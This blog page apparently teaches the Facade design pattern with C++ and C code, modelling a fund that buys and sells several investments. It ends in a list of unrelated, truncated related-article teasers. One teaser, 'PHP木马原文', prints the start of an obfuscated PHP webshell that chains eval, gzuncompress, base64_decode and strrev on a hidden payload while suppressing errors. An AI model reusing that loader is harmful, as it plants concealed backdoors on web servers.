外观模式(大话设计模式)C/C++版本
外观模式

C++
#include <iostream>
using namespace std;class stock1
{
public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;}
};class stock2
{
public:void Sell(){cout << "股票2卖出" << endl;}void Buy(){cout << "股票2买入" << endl;}
};class stock3
{
public:void Sell(){cout << "股票3卖出" << endl;}void Buy(){cout << "股票3买入" << endl;}
};class NationalDebt1
{
public:void Sell(){cout << "国债1卖出" << endl;}void Buy(){cout << "国债1买入" << endl;}
};class Realty1
{
public:void Sell(){cout << "房地产1卖出" << endl;}void Buy(){cout << "房地产1买入" << endl;}
};class Fund
{
private:stock1* gupiao1;stock2* gupiao2;stock3* gupiao3;NationalDebt1* guozhai;Realty1* fangdichan;public:Fund(){gupiao1 = new stock1();gupiao2 = new stock2();gupiao3 = new stock3();guozhai = new NationalDebt1();fangdichan = new Realty1();}void BuyFund(){gupiao1->Buy();gupiao2->Buy();gupiao3->Buy();guozhai->Buy();fangdichan->Buy();}void SellFund(){gupiao1->Sell();gupiao2->Sell();gupiao3->Sell();guozhai->Sell();fangdichan->Sell();}
};int main()
{Fund *jijin = new Fund();jijin->BuyFund();cout << endl << "Two years later......\n" << endl;jijin->SellFund();return 0;
}
C
#include <stdio.h>
#include <stdlib.h>typedef struct
{void (*Sell)();void (*Buy)();
} Invest;typedef struct
{Invest base;
} Stock;/**********************************************************/
void Stock1_Sell()
{printf("股票1卖出\n");
}void Stock1_Buy()
{printf("股票1买入\n");
}Stock *createStock1()
{Stock *s = (Stock *)malloc(sizeof(Stock));s->base.Sell = Stock1_Sell;s->base.Buy = Stock1_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Stock2;void Stock2_Sell()
{printf("股票2卖出\n");
}void Stock2_Buy()
{printf("股票2买入\n");
}Stock2 *createStock2()
{Stock2 *s = (Stock2 *)malloc(sizeof(Stock2));s->base.Sell = Stock2_Sell;s->base.Buy = Stock2_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Stock3;void Stock3_Sell()
{printf("股票3卖出\n");
}void Stock3_Buy()
{printf("股票3买入\n");
}Stock3 *createStock3()
{Stock3 *s = (Stock3 *)malloc(sizeof(Stock3));s->base.Sell = Stock3_Sell;s->base.Buy = Stock3_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} NationalDebt1;void NationalDebt1_Sell()
{printf("国债1卖出\n");
}void NationalDebt1_Buy()
{printf("国债买入\n");
}NationalDebt1 *createNationalDebt1()
{NationalDebt1 *s = (NationalDebt1 *)malloc(sizeof(NationalDebt1));s->base.Sell = NationalDebt1_Sell;s->base.Buy = NationalDebt1_Buy;return s;
}
/**********************************************************/
typedef struct
{Invest base;
} Realty1;void Realty1_Sell()
{printf("房地产卖出\n");
}void Realty1_Buy()
{printf("房地产3买入\n");
}Realty1 *createRealty1()
{Realty1 *s = (Realty1 *)malloc(sizeof(Realty1));s->base.Sell = Realty1_Sell;s->base.Buy = Realty1_Buy;return s;
}
/**********************************************************/
typedef struct
{Stock *gupiao1;Stock2 *gupiao2;Stock3 *gupiao3;NationalDebt1 *guozhai;Realty1 *fangdichan;
} Fund;Fund *createFund()
{Fund *fund = (Fund *)malloc(sizeof(Fund));fund->gupiao1 = createStock1();fund->gupiao2 = createStock2();fund->gupiao3 = createStock3();fund->guozhai = createNationalDebt1();fund->fangdichan = createRealty1();return fund;
}void BuyFund(Fund *fund)
{fund->gupiao1->base.Buy();fund->gupiao2->base.Buy();fund->gupiao3->base.Buy();fund->guozhai->base.Buy();fund->fangdichan->base.Buy();
}void SellFund(Fund *fund)
{fund->gupiao1->base.Sell();fund->gupiao2->base.Sell();fund->gupiao3->base.Sell();fund->guozhai->base.Sell();fund->fangdichan->base.Sell();
}int main()
{Fund *jijin = createFund();BuyFund(jijin);printf("\nTwo years later...\n\n");SellFund(jijin);free(jijin->gupiao1);free(jijin->gupiao2);free(jijin->gupiao3);free(jijin->guozhai);free(jijin->fangdichan);free(jijin);return 0;
}
总结

相关文章:
外观模式(大话设计模式)C/C++版本
外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...
PHP木马原文
攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...
湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析
湖南源点调研认为:无论是创业公司,还是在公司内部探索新的项目或者新的产品线等,首先都要做“市场机会分析与调研“,要真正思考并解答以下疑问: 我们的目标客户群体是谁,他们如何决策? 我们所…...
Vue82-组件内路由守卫
一、组件内路由守卫的定义 在一个组件里面去写路由守卫,而不是在路由配置文件index.js中去写。 此时,该路由守卫是改组件所独有的! 只有通过路由规则进入的方式,才会调这两个函数,否则,若是只是用<Ab…...
使用ESP32和Flask框架实现温湿度数据监测系统
项目概述 在这个项目中,我们将使用ESP32微控制器读取温湿度传感器的数据,并将这些数据通过HTTP请求传输到基于Flask框架的服务器。Flask是一个轻量级的Python Web框架,非常适合快速开发和部署Web应用。通过这个项目,我们不仅可以了…...
为什么按照正确的顺序就能开始不断地解决问题,按照不正确的顺序,问题就没有办法能够得到解决呢?
按照正确的顺序解决问题与按照不正确的顺序可能导致问题无法解决,这背后有几个关键原因: 1. **逻辑性**: 正确的顺序通常遵循逻辑性和因果关系(因为得按照这个基础的逻辑性才能够是自己顺应规律,太阳没有办法能够从西…...
嵌入式Linux gcc 编译器使用解析
目录 1.说明 2.分步编译法 3.编译源文件的四个阶段 4.gdb调试及常用命令 5.Makefile 1.说明 源文件 main.c 想生成 source gcc –g –O2 main.c –o source 黄色部分便是控制字 -g用于GDB –O2用于优化编译; 绿色部分表示源,可以由多个组成,用空格隔开; gcc …...
4、matlab双目相机标定实验
1、双目相机标定原理及流程 双目相机标定是将双目相机系统的内外参数计算出来,从而实现双目视觉中的立体测量和深度感知。标定的目的是确定各个摄像头的内部参数(如焦距、主点、畸变等)和外部参数(如相机位置、朝向等)…...
Oracle 数据库表和视图 的操作
1. 命令方式操作数据库(采用SQL*Plus) 1.1 创建表 1.1.1 基本语法格式 CREATE TABLE[<用户方案名>]<表名> (<列名1> <数据类型> [DEFAULT <默认值>] [<列约束>]<列名2> <数据类型> [DEFAULT <默认…...
美国ARC与延锋安全合作,推动汽车安全气囊技术新突破
在汽车安全领域,安全气囊作为关键被动安全配置,对于保障乘客生命安全至关重要。随着汽车工业的快速发展和科技创新的持续推进,安全气囊技术的升级与革新显得尤为重要。2022年10月25日,美国ARC公司与延锋安全携手合作,共…...
Docker:centos79-docker-compose安装记录
1.安装环境:centos7.9 x86 2.安装最新版: [rootlocalhost ~]# curl -fsSL get.docker.com -o get-docker.sh [rootlocalhost ~]# sh get-docker.sh # Executing docker install script, commit: e5543d473431b782227f8908005543bb4389b8desh -c yum in…...
相交链表(Leetcode)
题目分析: . - 力扣(LeetCode) 相交链表:首先我想到的第一个思路是:如图可知,A和B链表存在长度差,从左边一起遍历链表不好找交点,那我们就从后面开始找,但是这是单链表&…...
建造者模式(大话设计模式)C/C++版本
建造者模式 C 参考:https://www.cnblogs.com/Galesaur-wcy/p/15907863.html #include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std;// Product Class,产品类,由多个…...
【地质灾害监测实现有效预警,44人提前安全转移】
6月13日14时,国信华源地质灾害监测预警系统提前精准预警,安全转移10户44人。 该滑坡隐患点通过科学部署国信华源裂缝计、倾角加速度计、雨量计、预警广播等自动化、智能化监测预警设备,实现了对隐患点裂缝、位移、降雨量等关键要素的实时动态…...
Ruby 数据库访问 - DBI 教程
Ruby 数据库访问 - DBI 教程 本文将详细介绍如何使用 Ruby 的 DBI(Database Interface)库来访问和操作数据库。DBI 是 Ruby 语言中一个常用的数据库接口库,它提供了一套统一的接口来访问不同的数据库系统,如 MySQL、PostgreSQL、SQLite 等。通过本文的学习,您将掌握如何使…...
Linux环境搭建之CentOS7(包含静态IP配置)
🔥 本文由 程序喵正在路上 原创,CSDN首发! 💖 系列专栏:虚拟机 🌠 首发时间:2024年6月22日 🦋 欢迎关注🖱点赞👍收藏🌟留言🐾 安装VMw…...
Dell戴尔灵越Inspiron 16 Plus 7640/7630笔记本电脑原装Windows11下载,恢复出厂开箱状态预装OEM系统
灵越16P-7630系统包: 链接:https://pan.baidu.com/s/1Rve5_PF1VO8kAKnAQwP22g?pwdjyqq 提取码:jyqq 灵越16P-7640系统包: 链接:https://pan.baidu.com/s/1B8LeIEKM8IF1xbpMVjy3qg?pwdy9qj 提取码:y9qj 戴尔原装WIN11系…...
.NET C# 装箱与拆箱
.NET C# 装箱与拆箱 目录 .NET C# 装箱与拆箱1 装箱 (Boxing)1.1 过程:1.2 示例: 2 拆箱 (Unboxing)2.1 过程:2.2 示例: 3 性能影响4 性能优化4.1 使用泛型集合示例: 4.2 使用Nullable<T>示例: 4.3 避…...
springboot与flowable(9):候选人组
act_id_xxx相关表存储了所有用户和组的数据。 一、维护用户信息 Autowiredprivate IdentityService identityService;/*** 维护用户*/Testvoid createUser() {User user identityService.newUser("zhangsan");user.setEmail("zhangsanqq.com");user.setF…...
为什么要选择华为 HCIE-Security 课程?
2020 年我国网络安全市场规模达到 680 亿元,同比增长 25%。随着对网络安全的愈加重视及布局,市场规模将持续扩大。 近年来,随着“云大物工移智”等新兴技术的快速发展和普及应用,数字化已经融入社会经济生活的方方面面,…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
2025年能源电力系统与流体力学国际会议 (EPSFD 2025)
2025年能源电力系统与流体力学国际会议(EPSFD 2025)将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会,EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
